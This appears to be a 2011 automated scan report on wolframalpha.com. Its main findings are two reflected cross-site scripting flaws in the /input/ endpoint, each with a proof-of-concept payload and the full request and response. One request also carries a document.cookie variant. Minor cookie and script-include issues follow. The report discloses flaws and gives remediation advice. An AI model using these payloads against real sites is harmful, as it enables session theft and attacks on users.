XSS, wolframalpha.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Research Blog at Tue Mar 01 07:56:08 CST 2011.


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1. Cross-site scripting (reflected)

1.1. http://www.wolframalpha.com/input/ [i parameter]

1.2. http://www.wolframalpha.com/input/ [name of an arbitrarily supplied request parameter]

2. Cookie without HttpOnly flag set

3. Cookie scoped to parent domain

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.wolframalpha.com/

5.2. http://www.wolframalpha.com/about.html

5.3. http://www.wolframalpha.com/entities/index/

5.4. http://www.wolframalpha.com/examples/

5.5. http://www.wolframalpha.com/input/

6. Email addresses disclosed

7. Robots.txt file

8. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.wolframalpha.com/input/ [i parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The value of the i request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 610cb"-alert(1)-"0920c15034f was submitted in the i parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /input/?i=labor%20day610cb"-alert(1)-"0920c15034f HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 02:00:30 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944830322764; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=828A29FB0D81E34681FD534F67722D3B; Path=/
Content-Length: 24942

<!DOCTYPE html><html class="no-js"><head><title> labor day610cb&quot;-alert&#x28;1&#x29;-&quot;0920c15034f - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day61
...[SNIP]...
<![CDATA[ */

$(function(){


if("") {    
    recalculate("&i=labor%20day610cb"-alert(1)-"0920c15034f");
}

});
/* ]]>
...[SNIP]...

1.2. http://www.wolframalpha.com/input/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76d96"-alert(1)-"0e67745c3bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /input/?i=labor%20day&76d96"-alert(1)-"0e67745c3bd=1 HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 02:04:53 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298945093061519; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=3887B7536B35887892774ECD113FC0BA; Path=/
Content-Length: 36757

<!DOCTYPE html><html class="no-js"><head><title> labor day - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day - Wolfram|Alpha"/><meta name="description" conten
...[SNIP]...
219ecgbi4120fe44f000024250c61hbg69cg5&asynchronous=pod&i=labor+day&s=11&fp=1") {    
    recalculate("recalculate.jsp?id=MSP262219ecgbi4120fe44f000024250c61hbg69cg5&asynchronous=pod&s=11&fp=1&i=labor%20day&76d96"-alert(1)-"0e67745c3bd=1");
}

});
/* ]]>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /input/?i=labor%20day HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 01:59:10 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944750442343; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=1D6241FADE8F669491A30D226F531989; Path=/
Content-Length: 36135

<!DOCTYPE html><html class="no-js"><head><title> labor day - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day - Wolfram|Alpha"/><meta name="description" conten
...[SNIP]...

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /input/?i=labor%20day HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 01:59:10 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944750442343; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=1D6241FADE8F669491A30D226F531989; Path=/
Content-Length: 36135

<!DOCTYPE html><html class="no-js"><head><title> labor day - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day - Wolfram|Alpha"/><meta name="description" conten
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /input/?i=labor%20day HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 01:59:10 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944750442343; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=1D6241FADE8F669491A30D226F531989; Path=/
Content-Length: 36135

<!DOCTYPE html><html class="no-js"><head><title> labor day - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day - Wolfram|Alpha"/><meta name="description" conten
...[SNIP]...
<link href="/compress/css/Alpha-20110224-concatenated-min.css" rel="stylesheet" /><link rel="Shortcut Icon" href="//www.wolframcdn.com/alphaFav.ico" /><link rel="icon" href="//www.wolframcdn.com/images/alpha.fav.png" type="image/png" /><link rel="image_src" href="//www.wolframcdn.com/share-fb-icon.png" /><link rel="search" type="application/opensearchdescription+xml" href="/searchDescription.xml" title="Wolfram|Alpha"/>
...[SNIP]...
<li><a href="http://www.wolfram.com/">Wolfram Research</a>
...[SNIP]...
<li><a href="http://www.wolfram.com/products/mathematica/">Wolfram <i>
...[SNIP]...
<li><a href="http://demonstrations.wolfram.com/">Wolfram Demonstrations</a>
...[SNIP]...
<li><a href="http://mathworld.wolfram.com/">Wolfram <i>
...[SNIP]...
<li><a href="http://www.wolframscience.com/">Wolfram Science</a>
...[SNIP]...
<li><a href="http://tones.wolfram.com/">Wolfram<i>
...[SNIP]...
<li><a href="http://www.wolfram.com/webresources.html">More &raquo;</a>
...[SNIP]...
<div id="computed" style="display:block;"><a href="http://www.wolfram.com/products/mathematica">
Computed by <b>
...[SNIP]...
<li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=twitter" class="twitter" target="_blank" title="Share via Twitter">Twitter</a>
...[SNIP]...
<section id="fb"><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%252520day&amp;destination=facebook" class="fb on" target="_blank" title="Share via Facebook">Share via Facebook &raquo;</a>
...[SNIP]...
<li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=digg" class="digg" target="_blank" title="Share via Digg">Digg</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=stumbleupon" class="stumbleupon" target="_blank" title="Share via StumbleUpon">StumbleUpon</a>
...[SNIP]...
<li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=delicious" class="delicious" target="_blank" title="Share via Delicious">Delicious</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=reddit" class="reddit" target="_blank" title="Share via Reddit">Reddit</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=blogger" class="blogger" target="_blank" title="Share via Blogger">Blogger</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=gbuzz" class="googlebuzz" target="_blank" title="Share via Google Buzz">Google Buzz</a>
...[SNIP]...
<li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=wordpress" class="wordpress" target="_blank" title="Share via Wordpress">Wordpress</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=windows_live" class="live" target="_blank" title="Share via Windows Live">Live</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=typepad" class="typepad" target="_blank" title="Share via TypePad">TypePad</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=ybuzz" class="ybuzz" target="_blank" title="Share via Yahoo! Buzz">Yahoo! Buzz</a>
...[SNIP]...
<li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=myspace" class="myspace" target="_blank" title="Share via MySpace">MySpace</a></li><li><a href="http://wd.sharethis.com/api/sharer.php?title=WolframAlpha+-+labor+day&amp;publisher=1c0e0d54-547d-4312-9dde-61539c24e22f&amp;url=http%3a%2f%2fwww.wolframalpha.com%2finput%2f%3fi%3dlabor%2520day&amp;destination=linkedin" class="linkedin" target="_blank" title="Share via LinkedIn">LinkedIn</a>
...[SNIP]...
<a class="adLinkTo" href="/input/click.jsp?link=Null&amp;type=widget&amp;url=http://developer.wolframalpha.com/"><img src="//www.wolframcdn.com/images/ads/widget.png" /></a>
...[SNIP]...
<li><a href="http://www.facebook.com/OfficialWolframAlpha/" class="fb" target="_blank" title="Wolfram|Alpha on Facebook">Facebook</a></li><li><a href="http://twitter.com/Wolfram_Alpha/" class="tw" target="_blank" title="Wolfram|Alpha on Twitter">Twitter</a>
...[SNIP]...
<li class="noimg">&copy; 2011 Wolfram Alpha LLC&mdash;A <a href="http://www.wolfram.com/">Wolfram Research</a>
...[SNIP]...
</script><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 5 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.wolframalpha.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.1.10.1298948189; __unam=55c5e66-12e6f587d90-19185b37-1

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:06:49 GMT
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 11486

<!DOCTYPE html>
<html class="no-js">
<head>
<title>Wolfram|Alpha: Computational Knowledge Engine</title>
<meta charset="utf-8" />
<meta name="description" content="Wolfram|Alpha is more th
...[SNIP]...
</form>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

5.2. http://www.wolframalpha.com/about.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /about.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /about.html HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://www.wolframalpha.com/input/?i=labor%20day&76d96%22-alert(document.cookie)-%220e67745c3bd=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.1.10.1298948189; __unam=55c5e66-12e6f587d90-19185b37-1

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:02:48 GMT
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 25428

<!DOCTYPE html>
<html>
<head>
<title>About Wolfram|Alpha: Making the World's Knowledge Computable</title>
<meta name="description" content="Learn about our initiative to collect and curate all sys
...[SNIP]...
<!-- The style tag above handles :hover and :active for IE6 and below -->

<script src="http://www.wolframcdn.com/javascript/modernizr-1.6.min.js"></script>
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

5.3. http://www.wolframalpha.com/entities/index/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /entities/index/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /entities/index/ HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __unam=55c5e66-12e6f587d90-19185b37-1; WolframHomepageVisits=1; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.2.10.1298948189

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:06:58 GMT
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 22341


<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<h
...[SNIP]...
<!-- The style tag above handles :hover and :active for IE6 and below -->

<script src="http://www.wolframcdn.com/javascript/modernizr-1.6.min.js"></script>
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

5.4. http://www.wolframalpha.com/examples/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /examples/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /examples/ HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://www.wolframalpha.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WR_SID=173.193.214.243.1298948109851419; JSESSIONID=7DAD5D390C369AAD1DB59117DBCB8DA6; __utmz=171643174.1298948189.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; __unam=55c5e66-12e6f587d90-19185b37-1; WolframHomepageVisits=2; __utma=171643174.1847852404.1298944705.1298944705.1298948189.2; __utmc=171643174; __utmb=171643174.3.10.1298948189

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 03:15:05 GMT
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 40090


<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Wolfram|Alpha: Examples by Topic</title>
<meta http-equiv="Content-T
...[SNIP]...
<!-- The style tag above handles :hover and :active for IE6 and below -->

<script src="http://www.wolframcdn.com/javascript/modernizr-1.6.min.js"></script>
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

5.5. http://www.wolframalpha.com/input/  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /input/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /input/?i=labor%20day HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 01:59:10 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944750442343; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=1D6241FADE8F669491A30D226F531989; Path=/
Content-Length: 36135

<!DOCTYPE html><html class="no-js"><head><title> labor day - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day - Wolfram|Alpha"/><meta name="description" conten
...[SNIP]...
</script><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...

6. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wolframalpha.com
Path:   /searchDescription.xml

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /searchDescription.xml HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
